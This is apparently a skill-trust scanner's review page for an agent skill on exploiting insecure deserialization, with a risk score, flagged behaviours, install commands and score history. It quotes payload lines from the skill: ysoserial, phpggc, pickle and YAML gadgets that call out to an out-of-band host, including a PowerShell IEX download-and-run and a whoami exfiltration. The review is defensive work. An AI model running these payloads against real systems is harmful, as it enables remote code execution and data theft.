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exploiting-insecure-deserialization
75 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By mukul975/Anthropic-Cybersecurity-Skills (GitHub) · security · 35,906 stars · scanned at commit 54a7988
Identifying and exploiting insecure deserialization vulnerabilities in
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 6 places.
Show 3 more
Sends data to these websites: abc123.oast.fun, target.example.com
The author does not mention this. Expected for a security skill.
Found in 23 places.
Show 17 more
- skills/exploiting-insecure-deserialization/SKILL.md, line 117
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0) - skills/exploiting-insecure-deserialization/SKILL.md, line 118
curl -s -X POST \ - skills/exploiting-insecure-deserialization/SKILL.md, line 137
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b - skills/exploiting-insecure-deserialization/SKILL.md, line 146
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b) - skills/exploiting-insecure-deserialization/SKILL.md, line 147
curl -s -b "serialized_data=$PAYLOAD" \ - skills/exploiting-insecure-deserialization/SKILL.md, line 170
-c "curl http://abc123.oast.fun/dotnet-rce" -o base64 - skills/exploiting-insecure-deserialization/SKILL.md, line 178
-c "powershell -c IEX(curl http://abc123.oast.fun/ps)" -o base64 - skills/exploiting-insecure-deserialization/SKILL.md, line 183
curl -s "https://target.example.com/remoting/service.rem" - skills/exploiting-insecure-deserialization/SKILL.md, line 202
return (os.system, ('curl http://abc123.oast.fun/pickle-rce',)) - skills/exploiting-insecure-deserialization/SKILL.md, line 218
return (os.system, ('curl http://abc123.oast.fun/pickle',)) - skills/exploiting-insecure-deserialization/SKILL.md, line 222
curl -s -X POST \ - skills/exploiting-insecure-deserialization/SKILL.md, line 229
curl -s -X POST \ - skills/exploiting-insecure-deserialization/SKILL.md, line 231
-d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \ - skills/exploiting-insecure-deserialization/SKILL.md, line 253
"curl http://abc123.oast.fun/\$(whoami)" | base64 -w0 - skills/exploiting-insecure-deserialization/scripts/agent.py, line 48
def scan_cookies(url: str, session: Optional[requests.Session] = None) -> List[dict]: - skills/exploiting-insecure-deserialization/scripts/agent.py, line 50
sess = session or requests.Session() - skills/exploiting-insecure-deserialization/scripts/agent.py, line 70
resp = requests.request(method, url, json=data, timeout=10, verify=False)
and 3 more places
Downloads and installs other software
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'exploiting-insecure-deserialization' ] || [ -L ~/.agents/skills/'exploiting-insecure-deserialization' ]; then echo 'A skill folder named exploiting-insecure-deserialization already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/mukul975/Anthropic-Cybersecurity-Skills' "$d" && git -C "$d" checkout --quiet '54a798831d2266a3ca61ce68a7acb80b81160d57' -- 'skills/exploiting-insecure-deserialization' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/exploiting-insecure-deserialization' ~/.agents/skills/'exploiting-insecure-deserialization' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'exploiting-insecure-deserialization' ~/.claude/skills/'exploiting-insecure-deserialization' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for mukul975/Anthropic-Cybersecurity-Skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/mukul975/Anthropic-Cybersecurity-Skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 54a7988 | 75 |
| 2026-11-07 | 54a7988 | 75 |